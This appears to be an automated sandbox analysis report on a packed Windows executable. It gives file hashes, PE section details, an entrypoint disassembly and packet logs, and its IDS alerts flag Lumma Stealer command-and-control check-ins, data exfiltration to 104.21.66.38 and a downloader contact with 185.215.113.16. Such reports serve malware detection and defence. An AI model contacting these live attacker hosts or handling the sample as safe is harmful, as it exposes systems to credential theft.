Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947548723877745
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'910'784 bytes
MD5:	1f9e0235a6c12bd12d8220185fad9d04
SHA1:	9673c5a73b0a5823adabd6e5e831415e49cc2139
SHA256:	c0ab2ce327eb8e97036ac5bd876658cb5b7016dab1d8dd1aced2786f66941d40
SHA512:	994ace0797d971d40dae481053c7058647a73449c7916c2fb5772b14734bd803e2654598fa6d097b9fa1d0bbec68ddabdf4d3d3f0cc2b97d0721f4fc77229fd2
SSDEEP:	49152:D5IM/f1L82SQpQJ/i0ncdteLdhh6pWjJvvoED+Z:D//fZnwKycdtOr6pCHoEK
TLSH:	549533C351A3D868CB4919BAB672CF69FF3073BF44942810F2079C0E45BA26F5772699
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................@K...........@..........................pK...........@.................................\p..p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5E69349D2Ah
clts
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x56000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	54dce3da185bda51b3dd0a3fd6409212	False	0.9974409550330033	data	7.9788040996126055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x2b0	0x200	e6114542279b56a9d6e21bc1d4b4dcfe	False	0.796875	data	6.041464513660007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2b2000	0x200	82bb432c55cfa34c16cdaa6a62935b7c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
akxghhwi	0x30a000	0x1a9000	0x1a8e00	c38e4e25d027de6d78df107538b1c988	False	0.994061902397764	data	7.953902225631802	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yjeyyxpl	0x4b3000	0x1000	0x400	a4d144ffd9ed4501b91a205906afc87a	False	0.8310546875	data	6.326945278456268	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b4000	0x3000	0x2200	f0b6a0b37aa16fa8f90daa5b9c2cf7bf	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b29f4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T21:04:03.986111+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.66.38	443	TCP
2024-11-20T21:04:04.692509+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.66.38	443	TCP
2024-11-20T21:04:04.692509+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.66.38	443	TCP
2024-11-20T21:04:05.998932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.66.38	443	TCP
2024-11-20T21:04:06.708558+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.66.38	443	TCP
2024-11-20T21:04:06.708558+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.66.38	443	TCP
2024-11-20T21:04:08.362682+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.66.38	443	TCP
2024-11-20T21:04:10.836396+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.66.38	443	TCP
2024-11-20T21:04:13.498944+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.66.38	443	TCP
2024-11-20T21:04:16.181341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.66.38	443	TCP
2024-11-20T21:04:16.971858+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	104.21.66.38	443	TCP
2024-11-20T21:04:18.903549+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.66.38	443	TCP
2024-11-20T21:04:25.387127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.66.38	443	TCP
2024-11-20T21:04:26.139635+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	104.21.66.38	443	TCP
2024-11-20T21:04:27.674813+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 21:04:02.701817036 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:02.701864958 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:02.702152014 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:02.705766916 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:02.705807924 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:02.987838984 CET	49675	443	192.168.2.4	173.222.162.32
Nov 20, 2024 21:04:03.985904932 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:03.986110926 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:03.991365910 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:03.991394997 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:03.991806984 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.034810066 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.060345888 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.060345888 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.060553074 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.692584038 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.692859888 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.693044901 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.709084034 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.709084988 CET	49730	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.709134102 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.709161997 CET	443	49730	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.773243904 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.773283005 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:04.773372889 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.774655104 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:04.774672031 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:05.998852968 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:05.998931885 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.002269983 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.002289057 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.002684116 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.006397009 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.006441116 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.006505013 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.708594084 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.708739996 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.708836079 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.708868027 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.709335089 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.709392071 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.709403038 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.709491014 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.709544897 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.709552050 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.724598885 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.724688053 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.724697113 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.733122110 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.733277082 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.733285904 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.784847975 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.828195095 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.878449917 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.878473043 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.900614023 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.900698900 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.900718927 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.900887012 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.900958061 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.901055098 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.901067019 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:06.901092052 CET	49731	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:06.901097059 CET	443	49731	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:07.036168098 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:07.036205053 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:07.036299944 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:07.036711931 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:07.036730051 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:08.362577915 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:08.362682104 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:08.369256020 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:08.369268894 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:08.370196104 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:08.372879028 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:08.373174906 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:08.373270988 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:08.373331070 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:08.373339891 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:09.403584957 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:09.403717995 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:09.403829098 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:09.404122114 CET	49732	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:09.404145002 CET	443	49732	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:09.565203905 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:09.565335035 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:09.565468073 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:09.566026926 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:09.566077948 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:10.836139917 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:10.836395979 CET	49733	443	192.168.2.4	104.21.66.38
